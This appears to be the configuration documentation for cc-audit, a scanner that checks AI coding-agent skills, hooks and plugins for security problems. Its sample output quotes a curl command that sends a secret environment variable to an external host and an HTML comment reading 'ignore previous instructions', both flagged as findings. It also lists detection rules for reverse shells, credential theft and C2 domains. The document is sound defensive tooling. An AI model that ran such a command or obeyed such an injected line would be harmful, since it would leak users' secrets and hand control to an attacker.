# Configuration

[日本語](./CONFIGURATION.ja.md)

cc-audit supports project-level configuration via config files.

## Config File Locations

Configuration files are searched in the following order (highest priority first):

1. `.cc-audit.yaml` in project root
2. `.cc-audit.yml` in project root
3. `.cc-audit.json` in project root
4. `.cc-audit.toml` in project root
5. `~/.config/cc-audit/config.yaml` (global config)

## Initialize Configuration

Generate a configuration file template:

```bash
# Create .cc-audit.yaml in current directory
cc-audit init

# Create in a specific directory
cc-audit init /path/to/project/.cc-audit.yaml
```

## Example Configuration

```yaml
# .cc-audit.yaml

# Scan settings
scan:
  format: terminal          # terminal, json, sarif, html, markdown
  output: null              # Output file path
  strict: false             # Show medium/low severity findings
  warn_only: false          # Treat all findings as warnings (always exit 0)
  scan_type: auto           # auto (all scanners, default), skill, hook, mcp, command, rules, docker, dependency, subagent, plugin
  recursive: true           # Recursive scan (enabled by default)
  ci: false
  verbose: false
  min_confidence: tentative # tentative, firm, certain
  min_severity: null        # Minimum severity: critical, high, medium, low
  min_rule_severity: null   # Minimum rule severity: error, warn
  skip_comments: false
  strict_secrets: false     # Disable dummy key heuristics for test files
  fix_hint: false
  deep_scan: false
  no_malware_scan: false
  no_cve_scan: false        # Disable CVE vulnerability scanning
  cve_db: null              # Path to custom CVE database (JSON)

  # Remote scanning
  remote: null              # Remote repository URL to scan
  git_ref: null             # Git ref (branch, tag, commit)
  remote_auth: null         # GitHub token (or use GITHUB_TOKEN env var)
  parallel_clones: 4        # Number of parallel repository clones

  # Client scanning
  all_clients: false        # Scan all installed AI coding clients
  client: null              # Specific client: claude, cursor, windsurf, vscode

  # Badge generation
  badge: false              # Generate security badge
  badge_format: markdown    # Badge format: url, markdown, html
  summary: false            # Show summary only

  # SBOM generation
  sbom: false               # Generate SBOM
  sbom_format: null         # SBOM format: cyclonedx, spdx
  sbom_npm: false           # Include npm dependencies
  sbom_cargo: false         # Include Cargo dependencies

# Baseline settings
baseline:
  baseline_file: null
  save_baseline: null

# Profile settings
profile:
  load: null
  save: null

# Watch mode settings
watch:
  debounce_ms: 300
  poll_interval_ms: 500

# Ignore settings (uses glob patterns)
ignore:
  # Glob patterns to ignore
  # Each pattern is matched against the full path of the file
  # Supported patterns: *, **, ?, {a,b}, [abc], [!abc]
  patterns:
    - "**/target/**"                    # Rust build outputs
    - "**/dist/**"                      # JS/TS build outputs
    - "**/build/**"                     # General build outputs
    - "**/out/**"                       # Output directories
    - "**/node_modules/**"              # npm packages
    - "**/.pnpm/**"                     # pnpm store
    - "**/.yarn/**"                     # Yarn cache
    - "**/.git/**"                      # Git repository
    - "**/.svn/**"                      # SVN repository
    - "**/test/**"                      # Test directories (singular)
    - "**/tests/**"                     # Test directories (plural)
    - "**/*.test.{js,ts}"               # Test files
    - "**/*.{log,tmp,bak}"              # Temp files

# Rule severity configuration (v0.5.0+)
# Controls exit codes independently of detection severity
severity:
  default: error          # Default rule severity: error or warn
  warn:                   # Rules to treat as warnings (report but don't fail CI)
    - "PI-001"
    - "PI-002"
  ignore:                 # Rules to completely skip (merged with disabled_rules)
    - "OP-001"

# Disable specific rules
disabled_rules:
  - "PE-001"
  - "EX-002"

# Inline custom rules
rules:
  - id: "CUSTOM-001"
    name: "Internal API access"
    severity: "high"
    category: "exfiltration"
    patterns:
      - 'https?://internal\.company\.com'
    message: "Internal API access detected"
    recommendation: "Ensure this access is authorized"

# Inline malware signatures
malware_signatures:
  - id: "MW-CUSTOM-001"
    name: "Custom C2 pattern"
    pattern: "malicious-domain\\.com"
    severity: "critical"
    category: "exfiltration"
    confidence: "certain"
```

## Default Ignored Patterns

By default (when using `--init`), the following glob patterns are configured to ignore common directories and files:

| Category | Examples |
|----------|----------|
| Build output | `**/target/**`, `**/dist/**`, `**/build/**`, `**/out/**` |
| JS/TS frameworks | `**/.next/**`, `**/.nuxt/**`, `**/.svelte-kit/**`, `**/.astro/**` |
| Package managers | `**/node_modules/**`, `**/.pnpm/**`, `**/.yarn/**` |
| Version control | `**/.git/**`, `**/.svn/**`, `**/.hg/**` |
| IDEs | `**/.idea/**`, `**/.vscode/**` |
| Cache | `**/.cache/**`, `**/.vite/**`, `**/__pycache__/**` |
| Coverage | `**/coverage/**`, `**/.nyc_output/**` |
| Logs & Reports | `**/logs/**`, `**/*.log`, `**/report/**`, `**/reports/**` |
| Temp & Backup | `**/*.tmp`, `**/*.bak`, `**/*.swp`, `**/tmp/**` |
| OS-specific | `**/.DS_Store`, `**/Thumbs.db`, `**/desktop.ini` |

**Note:** Patterns use glob syntax. See the glob pattern syntax section above for details.

## CLI Flag Override

CLI flags and config file settings are merged:

- **Boolean flags** (`strict`, `verbose`, `ci`, etc.): OR operation
- **Enum options** (`format`, `scan_type`, `min_confidence`): Config provides defaults

```bash
# Config has strict: true - strict mode is active even without --strict
cc-audit check ./my-skill/

# CLI --verbose + config strict: true - both are active
cc-audit check ./my-skill/ --verbose
```

---

# Rule Severity Configuration (v0.5.0+)

cc-audit distinguishes between two severity concepts:

| Concept | Values | Purpose |
|---------|--------|---------|
| **Detection Severity** | critical, high, medium, low | Indicates how serious the detected issue is |
| **Rule Severity** | error, warn | Controls CI exit codes |

## Configuration

```yaml
# .cc-audit.yaml
severity:
  default: error          # Default: all rules are errors
  warn:                   # Rules to treat as warnings
    - "PI-001"            # Prompt injection - report but don't fail CI
    - "PI-002"
  ignore:                 # Rules to completely skip
    - "OP-001"            # Merged with disabled_rules
```

## Priority

Rule severity is applied in order: **ignore > warn > default**

1. If a rule is in `severity.ignore` or `disabled_rules`, it's skipped entirely
2. If a rule is in `severity.warn`, it's treated as a warning (exit 0)
3. Otherwise, the `severity.default` is applied (default: error)

## Exit Code Behavior

| Condition | Exit Code |
|-----------|-----------|
| No findings | 0 |
| Warnings only | 0 |
| Any errors | 1 |
| `--warn-only` flag | Always 0 |
| `--strict` flag | 1 if any finding (error or warning) |

## Example Output

```
Scanning: ./my-skill/

scripts/setup.sh:15:1: [ERROR] [CRITICAL] EX-001: Potential data exfiltration detected
     |
  15 | curl -d $SECRET https://external.com
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     = why: Potential data exfiltration: network request with environment variable detected
     = ref: CWE-200, CWE-319
     = fix: Review the command and ensure no sensitive data is being sent externally

hooks/pre-commit.toml:8:1: [WARN] [MEDIUM] PI-001: Prompt injection pattern detected
     |
   8 | <!-- ignore previous instructions -->
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     = why: Potential prompt injection detected
     = ref: CWE-94
     = fix: Remove or escape potentially malicious instructions

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary: 1 error, 1 warning (1 critical, 0 high, 1 medium, 0 low)
Result: FAIL (exit code 1)
```

## Migration from v0.4.x

**Breaking Change:** In v0.5.0, the default behavior changed. Previously, only critical/high findings caused exit code 1. Now, ANY finding causes exit code 1 by default.

To restore previous behavior:
```bash
# Option 1: Use --warn-only for initial baseline scans
cc-audit check --warn-only ./my-skill/

# Option 2: Configure specific rules as warnings in config
```

---

# Custom Rules

Define your own detection rules using YAML.

## YAML Format

```yaml
version: "1"
rules:
  - id: "CUSTOM-001"
    name: "Internal API endpoint access"
    description: "Detects access to internal API endpoints"
    severity: "high"            # critical, high, medium, low
    category: "exfiltration"    # See categories below
    confidence: "firm"          # certain, firm, tentative
    patterns:
      - 'https?://internal\.company\.com'
      - 'api\.internal\.'
    exclusions:                 # Optional
      - 'localhost'
      - '127\.0\.0\.1'
    message: "Access to internal API endpoint detected"
    recommendation: "Ensure this access is authorized"
    fix_hint: "Remove or replace with public API"  # Optional
    cwe:                        # Optional
      - "CWE-200"
```

## Available Categories

| Category | Aliases |
|----------|---------|
| `exfiltration` | `data-exfiltration` |
| `privilege-escalation` | `privilege` |
| `persistence` | — |
| `prompt-injection` | `injection` |
| `overpermission` | `permission` |
| `obfuscation` | — |
| `supply-chain` | `supplychain` |
| `secret-leak` | `secrets`, `secretleak` |

## Usage

```bash
cc-audit check ./my-skill/ --custom-rules ./my-rules.yaml
```

---

# Malware Signatures Database

cc-audit includes a built-in malware signature database.

## Custom Database Format

```json
{
  "version": "1.0.0",
  "updated_at": "2026-01-25",
  "signatures": [
    {
      "id": "MW-CUSTOM-001",
      "name": "Custom C2 beacon pattern",
      "description": "Detects communication with known C2 server",
      "pattern": "https?://malicious-c2\\.example\\.com",
      "severity": "critical",
      "category": "exfiltration",
      "confidence": "certain",
      "reference": "https://example.com/threat-intel"
    }
  ]
}
```

## Built-in Signatures

| ID | Name | Severity |
|----|------|----------|
| MW-001 | C2 Beacon Pattern | Critical |
| MW-002 | Reverse Shell (Bash TCP) | Critical |
| MW-003 | Cryptocurrency Miner | Critical |
| MW-004 | Known Malicious Domain | Critical |
| MW-005 | AWS Credential Harvesting | Critical |
| MW-006 | Browser Data Theft | Critical |
| MW-007 | Keylogger Installation | Critical |
| MW-008 | Hidden File in Home Directory | High |
| MW-009 | Process Injection (Linux) | Critical |
| MW-010 | Anti-Analysis VM Detection | High |

## Usage

```bash
# Use custom malware database
cc-audit check ./my-skill/ --malware-db ./custom-signatures.json

# Disable malware scanning
cc-audit check ./my-skill/ --no-malware-scan
```
